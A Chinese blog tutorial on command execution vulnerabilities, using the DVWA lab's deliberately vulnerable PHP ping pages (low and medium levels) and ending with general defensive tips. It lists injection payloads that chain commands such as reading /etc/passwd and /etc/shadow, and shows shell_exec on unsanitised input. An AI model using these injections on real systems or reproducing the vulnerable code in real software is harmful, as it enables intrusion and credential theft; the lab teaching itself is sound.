Loading

命令执行漏洞

1、命令执行(Command Execution)漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限

2、命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行

3、更常见的命令执行漏洞是发生在各种Web组件,包括Web容器、Web框架、CMS软件、安全组件等

 

 

DVWA

low

 

分析代码

 

 1  <?php
 2 
 3 if( isset( $_POST[ 'Submit' ]  ) ) {    
 4     // Get input
 5     $target = $_REQUEST[ 'ip' ];       //low级别中没有进行任何过滤 直接把get的值输出   
 6 
 7     // Determine OS and execute the ping command.
 8     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 9         // Windows
10         $cmd = shell_exec( 'ping  ' . $target );
11     }
12     else {
13         // *nix
14         $cmd = shell_exec( 'ping  -c 4 ' . $target );
15     }
16 
17     // Feedback for the end user
18     echo "<pre>{$cmd}</pre>";
19 }
20 
21 ?>

 

 

上面搭建环境是win  若是在linux下搭建环境 可执行一下命令

  • 114.114.114.114&&uname
  • 114.114.114.114&&pwd
  • 114.114.114.114&&ls -l
  • 114.114.114.114&&cat /etc/passwd    //查看用户
  • 114.114.114.114&&cat /etc/shadow  //查看密码

 

 

 

 

 

 

 

 

 

 

 

medium

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ]  ) ) {
 4     // Get input
 5     $target = $_REQUEST[ 'ip' ];
 6 
 7     // Set blacklist
 8     $substitutions = array(
 9         '&&' => '',          //对输入的 && 和 ; 进行过滤
10         ';'  => '',
11     );
12 
13     // Remove any of the charactars in the array (blacklist).
14     $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
15 
16     // Determine OS and execute the ping command.
17     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
18         // Windows
19         $cmd = shell_exec( 'ping  ' . $target );
20     }
21     else {
22         // *nix
23         $cmd = shell_exec( 'ping  -c 4 ' . $target );
24     }
25 
26     // Feedback for the end user
27     echo "<pre>{$cmd}</pre>";
28 }
29 
30 ?> 

 

 

 

 

 

 

 

 

 

 

 

 

 实例应用

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 命令执行漏洞防御

1、各种框架、插件等位置都有可能出现命令执行,升级到新版本,多打补丁

2、关注行业最新安全动态,一旦爆发命令执行漏洞,迅速修复,避免造成更大影响

3、少用框架/CMS

 

posted @ 2019-03-05 10:30  Unixcs  阅读(12929)  评论(0编辑  收藏  举报